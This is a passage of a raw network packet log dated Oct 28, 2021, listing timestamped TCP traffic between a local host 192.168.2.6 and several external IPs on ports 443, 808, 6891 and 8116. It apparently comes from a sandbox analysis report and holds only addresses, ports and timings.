Oct 28, 2021 05:00:06.991322041 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.991365910 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.991401911 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.991415024 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.995348930 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.995385885 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:07.182301998 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.346518993 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.346786022 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.347546101 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.511744022 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.511790037 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.511862993 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.512531996 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.516844034 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.517010927 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.676738024 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.679538012 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:07.679605961 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:07.679677010 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:07.679703951 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:07.681117058 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.681150913 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.681175947 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.681201935 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.686341047 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:07.686392069 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:07.799989939 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.974666119 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:07.974883080 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:07.976047993 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.066781998 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.066804886 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.066895962 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.066947937 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.068983078 CEST	50082	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.150707960 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.150773048 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.150902033 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.152136087 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.155297041 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.155399084 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.188591003 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.233156919 CEST	808	50082	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.327013969 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.329758883 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.329786062 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.329802036 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.329816103 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.329833031 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.354038000 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:08.354175091 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.356245995 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.521857023 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:08.522037029 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:08.522183895 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.522777081 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.529009104 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.529220104 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.694849014 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:08.712723017 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.712776899 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:08.712959051 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.725035906 CEST	50083	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:08.734399080 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:08.849760056 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:08.899617910 CEST	808	50083	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:09.015461922 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.015669107 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.016448975 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.074856997 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.074883938 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.074965954 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.078623056 CEST	50084	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.181726933 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.181755066 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.181864023 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.182488918 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.186455965 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.186590910 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.200839043 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.244086027 CEST	6891	50084	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.261672020 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.261862040 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.263346910 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.324476957 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.324506044 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.324611902 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.325313091 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.329430103 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.329559088 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.351747036 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.351773977 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.351788998 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.390320063 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.390925884 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.575761080 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.575786114 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.575886965 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.575988054 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.581232071 CEST	50086	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.641788006 CEST	8116	50086	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.699785948 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:09.699830055 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:09.699996948 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:09.700608969 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:09.700623035 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:09.731213093 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.731228113 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.731288910 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.731317997 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.738519907 CEST	50085	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:09.862843990 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.903839111 CEST	6891	50085	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:09.915770054 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.915903091 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.916660070 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.969228983 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.969616890 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:09.969705105 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.970186949 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.974248886 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:09.974374056 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:10.028755903 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:10.193123102 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.193361044 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.194083929 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.194098949 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.196757078 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:10.196779966 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:10.196861982 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:10.199652910 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.199671030 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.199798107 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.199809074 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.204545975 CEST	50088	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:10.257375956 CEST	8116	50088	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:10.329977989 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.330027103 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.330173016 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.330787897 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.330809116 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.824839115 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.824994087 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.825752020 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.825767040 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.830892086 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.830912113 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.831168890 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.831185102 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.890153885 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.890228033 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:10.890615940 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.896114111 CEST	50087	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:10.896135092 CEST	443	50087	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:11.013169050 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.185014009 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.185209036 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.185743093 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.357345104 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.357373953 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.357525110 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.358376980 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.365288019 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.365519047 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.528481007 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:11.528573990 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:11.528587103 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:11.528620958 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:11.529845953 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.535475969 CEST	50089	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:11.535512924 CEST	443	50089	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:11.539354086 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.539375067 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.539391041 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.539405107 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.539418936 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.666990995 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.834618092 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.834789991 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.845048904 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.919550896 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.919583082 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:11.919734955 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:11.921684027 CEST	50090	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.012492895 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.012645960 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.012723923 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.013206959 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.016232014 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.016347885 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.028637886 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.093409061 CEST	808	50090	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.180514097 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.183486938 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.183516026 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.183533907 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.183556080 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.195094109 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.195214033 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.195980072 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.362170935 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.363060951 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.363159895 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.363605976 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.366291046 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.366360903 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.532629013 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.532639980 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.564831972 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.564918995 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.564934969 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.564989090 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.570528030 CEST	50091	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:12.690279007 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.737916946 CEST	808	50091	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:12.855688095 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.855828047 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.856796980 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.913459063 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.913475037 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:12.913610935 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:12.916460037 CEST	50092	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.022773981 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.022803068 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.022885084 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.023349047 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.026216030 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.026352882 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.029257059 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.082777023 CEST	6891	50092	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.083976984 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.084105015 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.084686041 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.139684916 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.139930010 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.140101910 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.140955925 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.145028114 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.145410061 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.191442966 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.191536903 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.199731112 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.200004101 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.230397940 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.385240078 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.385279894 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.385458946 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.390717030 CEST	50094	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.445436954 CEST	8116	50094	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.514669895 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:13.514741898 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:13.514931917 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:13.515952110 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:13.515986919 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:13.571309090 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.571338892 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.571418047 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.571465015 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.576633930 CEST	50093	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:13.693737030 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.742100000 CEST	6891	50093	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:13.749788046 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.749982119 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.750631094 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.806493998 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.806798935 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.806953907 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.808156013 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.815376043 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.815586090 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:13.871448040 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:13.872162104 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:14.000190020 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.000566006 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.002074003 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.002094984 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.008898020 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.008905888 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.009275913 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.009294033 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.058267117 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:14.058298111 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:14.058532953 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:14.069175005 CEST	50096	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:14.125386000 CEST	8116	50096	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:14.211266994 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.211303949 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.211474895 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.213810921 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.213833094 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.697062969 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.697150946 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.697231054 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.697288036 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.703018904 CEST	50095	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.703062057 CEST	443	50095	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.741857052 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.741941929 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.742717981 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.742732048 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.748083115 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.748105049 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.748198032 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:14.748203993 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:14.860505104 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.028736115 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.028949976 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.029653072 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.199210882 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.199249029 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.199364901 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.199866056 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.202882051 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.202982903 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.367991924 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.370879889 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.370922089 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.370958090 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.370982885 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.371073961 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.456821918 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:15.456911087 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:15.456939936 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:15.456970930 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:15.466599941 CEST	50097	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:15.466635942 CEST	443	50097	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:15.625283003 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.756736994 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.756762981 CEST	808	50098	143.244.140.214	192.168.2.6
